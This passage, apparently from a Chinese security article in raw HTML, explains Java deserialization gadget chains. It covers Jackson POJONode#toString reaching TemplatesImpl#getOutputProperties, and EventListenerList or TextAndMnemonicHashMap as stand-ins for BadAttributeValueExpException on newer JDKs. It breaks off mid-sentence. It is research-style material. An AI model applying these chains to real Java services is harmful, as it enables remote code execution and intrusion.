&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">替代 BadAttributeValueExpException</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">与 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">FastJson</span></code><span leaf="">原生链类似，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Jackson gadget</span></code><span leaf="">的关键是其中的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">POJONode#toString</span></code><span leaf="">可以实现</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getter</span></code><span leaf="">的调用。参考</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">cc5 gadget</span></code><span leaf="">，可以借助</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BadAttributeValueExpException</span></code><span leaf="">构造出一条触发</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl#getOutputProperties</span></code><span leaf="">的完整</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">BadAttributeValueExpException.readObject()</span><span leaf="">    │    </span><span leaf="">    └─→ POJONode.toString()</span><span leaf="">        │    </span><span leaf="">        └─→ ObjectWriter.writeValueAsString()</span><span leaf="">            │    </span><span leaf="">            └─→TemplatesImpl.getOutputProperties()</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BadAttributeValueExpException</span></code><span leaf=""> 从</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JDK8u76</span></code><span leaf="">开始在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">readObject</span></code><span leaf="">中加入了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toString</span></code><span leaf="">，可以作为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">cc5</span></code><span leaf="">等多个</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></code><span leaf="">的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">source</span></code><span leaf="">使用，但是在高版本的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JDK</span></code><span leaf="">中</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toString</span></code><span leaf=""> 又被移除了：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008660" class="rich_pages wxw-img" data-ratio="0.2851851851851852" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=f0e46b9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAyNID8q0EQEsFUCACPagdwzkqj0IqKENgUcB2fPIwnib6ptOkAFxhI772ebbjz2vvicSRpg1mHFqicmQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这个问题好解决，比如在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">2024</span></code><span leaf=""> 年 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AliyunCTF</span></code><span leaf=""> 的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">chains17</span></code><span leaf=""> 披露了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">EventListenerList#readObject</span></code><span leaf=""> 同样可以触发 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toString</span></code><span leaf=""> （ </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Object</span></code><span leaf=""> 拼接时会隐式调用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toString</span></code><span leaf=""> ）：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008659" class="rich_pages wxw-img" data-ratio="0.3907407407407407" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=e7d07f0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAyNID8q0EQEsFUCACPagdwz1SqqEZ2jhXl4zZpxqvhgVBjhBxr3HpXF1cPb2bG0fFMgiafiaVvciaKQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008658" class="rich_pages wxw-img" data-ratio="0.30925925925925923" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=818fc1a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAyNID8q0EQEsFUCACPagdwzeLeb3MbJScSbKVozjAk4DVKG1H7ensnqCOWp4zFsPcsXWmbhY9nTWw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">或者 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TextAndMnemonicHashMap#get</span></code><span leaf=""> 结合 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">HashMap</span></code><span leaf=""> 也可替换：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008661" class="rich_pages wxw-img" data-ratio="0.6166666666666667" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=7d2f81ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAyNID8q0EQEsFUCACPagdwzD2KBcNpSwpWsrtPe3DKGdibXn6aTteaD5Ip6XaGF8IV5BibZI5WbaQRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">TemplatesImpl bypass Module</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">解决了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toString</span></code><span leaf=""> 的问题，下面看 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getter</span></code><span leaf=""> 。 高版本 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 